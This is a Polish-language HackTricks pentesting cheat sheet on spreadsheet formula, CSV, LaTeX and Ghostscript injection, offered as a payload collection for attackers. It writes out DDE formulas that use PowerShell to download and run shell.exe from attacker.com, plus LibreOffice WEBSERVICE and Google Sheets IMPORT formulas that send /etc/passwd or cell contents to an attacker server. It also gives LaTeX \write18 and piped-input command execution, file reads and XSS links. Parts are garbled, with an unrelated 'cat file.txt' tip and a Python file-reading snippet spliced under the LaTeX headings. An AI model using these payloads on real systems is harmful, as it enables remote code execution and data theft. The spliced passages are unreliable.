hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md
2024-02-11 01:46:25 +00:00

14 KiB

Wstrzykiwanie formuł/CSV/Doc/LaTeX/GhostScript

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. Wypróbuj go za darmo już dziś.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Wstrzykiwanie formuł

Informacje

Jeśli wprowadzane daneodzwierciedlane w plikach CSV (lub innych plikach, które prawdopodobnie zostaną otwarte w programie Excel), możesz umieścić w nich formuły Excela, które zostaną wykonane, gdy użytkownik otworzy plik lub gdy użytkownik kliknie na jakiś link w arkuszu Excela.

{% hint style="danger" %} Obecnie Excel będzie ostrzegał (kilka razy) użytkownika, gdy coś jest ładowane z zewnątrz Excela, aby zapobiec mu działaniom złośliwym. Dlatego konieczne jest zastosowanie szczególnych działań związanych z inżynierią społeczną w celu osiągnięcia ostatecznego efektu. {% endhint %}

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Hiperłącze

Poniższy przykład jest bardzo przydatny do eksfiltracji zawartości z końcowego arkusza kalkulacyjnego i wykonywania żądań do dowolnych lokalizacji. Ale wymaga kliknięcia w link (i zaakceptowania ostrzeżeń).

Poniższy przykład został zaczerpnięty z https://payatu.com/csv-injection-basic-to-exploit

Wyobraź sobie, że naruszenie bezpieczeństwa w systemie zarządzania danymi uczniów jest wykorzystane w ataku typu CSV injection. Głównym zamiarem atakującego jest skompromitowanie systemu używanego przez nauczycieli do zarządzania danymi uczniów. Metoda ta polega na wstrzyknięciu przez atakującego złośliwego ładunku do aplikacji, konkretnie poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane uczniów. Atak przebiega następująco:

  1. Wstrzyknięcie złośliwego ładunku:
  • Atakujący przesyła formularz z danymi ucznia, ale zawiera formułę powszechnie używaną w arkuszach kalkulacyjnych (np. =HYPERLINK("<złośliwy_link>","Kliknij tutaj")).
  • Ta formuła ma na celu utworzenie hiperłącza, ale wskazuje na złośliwy serwer kontrolowany przez atakującego.
  1. Eksportowanie skompromitowanych danych:
  • Nauczyciele, nieświadomi kompromitacji, korzystają z funkcjonalności aplikacji do eksportu danych do pliku CSV.
  • Plik CSV, po otwarciu, nadal zawiera złośliwy ładunek. Ten ładunek pojawia się jako klikalne hiperłącze w arkuszu kalkulacyjnym.
  1. Wywołanie ataku:
  • Nauczyciel kliknie w hiperłącze, uważając je za prawidłową część danych ucznia.
  • Po kliknięciu, wrażliwe dane (potencjalnie zawierające szczegóły z arkusza kalkulacyjnego lub komputera nauczyciela) są przesyłane na serwer atakującego.
  1. Rejestrowanie danych:
  • Serwer atakującego odbiera i rejestruje wrażliwe dane przesłane z komputera nauczyciela.
  • Atakujący może następnie wykorzystać te dane do różnych złośliwych celów, dalszego naruszania prywatności i bezpieczeństwa uczniów oraz instytucji.

RCE

Sprawdź oryginalny post dla dalszych szczegółów.

W określonych konfiguracjach lub starszych wersjach programu Excel, funkcja o nazwie Dynamic Data Exchange (DDE) może być wykorzystana do wykonania dowolnych poleceń. Aby to wykorzystać, należy włączyć następujące ustawienia:

  • Przejdź do Plik → Opcje → Centrum zaufania → Ustawienia centrum zaufania → Zawartość zewnętrzna i włącz opcję Dynamiczne uruchamianie serwera Dynamic Data Exchange.

Po otwarciu arkusza kalkulacyjnego z złośliwym ładunkiem (i jeśli użytkownik zaakceptuje ostrzeżenia), ładunek zostanie wykonany. Na przykład, aby uruchomić aplikację kalkulatora, ładunek będzie wyglądał następująco:

`=cmd|' /C calc'!xxx`

Dodatkowe polecenia mogą również zostać wykonane, takie jak pobranie i wykonanie pliku za pomocą PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Lokalne włączenie pliku (LFI) w LibreOffice Calc

LibreOffice Calc może być używany do odczytywania lokalnych plików i wycieku danych. Oto kilka metod:

  • Odczytanie pierwszej linii z lokalnego pliku /etc/passwd: ='file:///etc/passwd'#$passwd.A1
  • Wyciek odczytanych danych do serwera kontrolowanego przez atakującego: =WEBSERVICE(CONCATENATE("http://<adres IP atakującego>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Wyciek więcej niż jednej linii: =WEBSERVICE(CONCATENATE("http://<adres IP atakującego>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Wyciek DNS (wysyłanie odczytanych danych jako zapytania DNS do serwera DNS kontrolowanego przez atakującego): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domena atakującego>"))

Google Sheets do wycieku danych Out-of-Band (OOB)

Google Sheets oferuje funkcje, które mogą być wykorzystane do wycieku danych Out-of-Band:

  • CONCATENATE: Łączy ciągi znaków - =CONCATENATE(A2:E2)
  • IMPORTXML: Importuje dane z typów danych strukturalnych - =IMPORTXML(CONCAT("http://<adres IP atakującego:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Importuje kanały RSS lub ATOM - =IMPORTFEED(CONCAT("http://<adres IP atakującego:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Importuje dane z tabel lub list HTML - =IMPORTHTML (CONCAT("http://<adres IP atakującego:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Importuje zakres komórek z innego arkusza - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Wstawia obraz do komórki - =IMAGE("https://<adres IP atakującego:Port>/images/srpr/logo3w.png")

Wstrzykiwanie LaTeX

Zazwyczaj serwery, które znajdziemy w internecie i konwertują kod LaTeX na PDF używają pdflatex.
Ten program używa 3 głównych atrybutów do (wyłączenia) wykonania poleceń:

  • --no-shell-escape: Wyłącza konstrukcję \write18{command}, nawet jeśli jest włączona w pliku texmf.cnf.
  • --shell-restricted: To samo co --shell-escape, ale ograniczone do 'bezpiecznego' zestawu predefiniowanych **poleceń (**Na Ubuntu 16.04 lista znajduje się w /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Włącza konstrukcję \write18{command}. Polecenie może być dowolnym poleceniem powłoki. Ta konstrukcja jest zwykle zabroniona ze względów bezpieczeństwa.

Jednak istnieją inne sposoby wykonania poleceń, dlatego też, aby uniknąć RCE, bardzo ważne jest użycie --shell-restricted.

Odczytaj plik

Może być konieczne dostosowanie wstrzykiwania z użyciem opakowań takich jak [ lub $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Odczytaj plik jednolinijkowy

To read the contents of a single-lined file, you can use the following command:

Aby odczytać zawartość pliku jednolinijkowego, możesz użyć następującej komendy:

cat file.txt

This command will display the entire content of the file on the terminal.

Ta komenda wyświetli całą zawartość pliku w terminalu.

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Odczytaj plik wielolinijkowy

To odczytanie pliku wielolinijkowego, możesz użyć poniższego kodu:

with open('nazwa_pliku.txt', 'r') as file:
    lines = file.readlines()
    for line in lines:
        print(line.strip())

Ten kod otwiera plik o nazwie "nazwa_pliku.txt" w trybie odczytu ('r') i odczytuje wszystkie linie pliku za pomocą metody readlines(). Następnie iteruje po każdej linii i drukuje ją, usuwając białe znaki na końcu linii za pomocą metody strip().

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Zapisz plik

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Wykonanie polecenia

Wejście polecenia zostanie przekierowane do stdin, użyj pliku tymczasowego, aby je otrzymać.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Jeśli wystąpi błąd LaTex, rozważ użycie base64, aby uzyskać wynik bez złych znaków.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Od @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Wstrzykiwanie Ghostscript

Sprawdź https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Odwołania

Znajduj podatności, które mają największe znaczenie, abyś mógł je szybko naprawić. Intruder śledzi twoją powierzchnię ataku, wykonuje proaktywne skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. Wypróbuj go za darmo już dziś.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: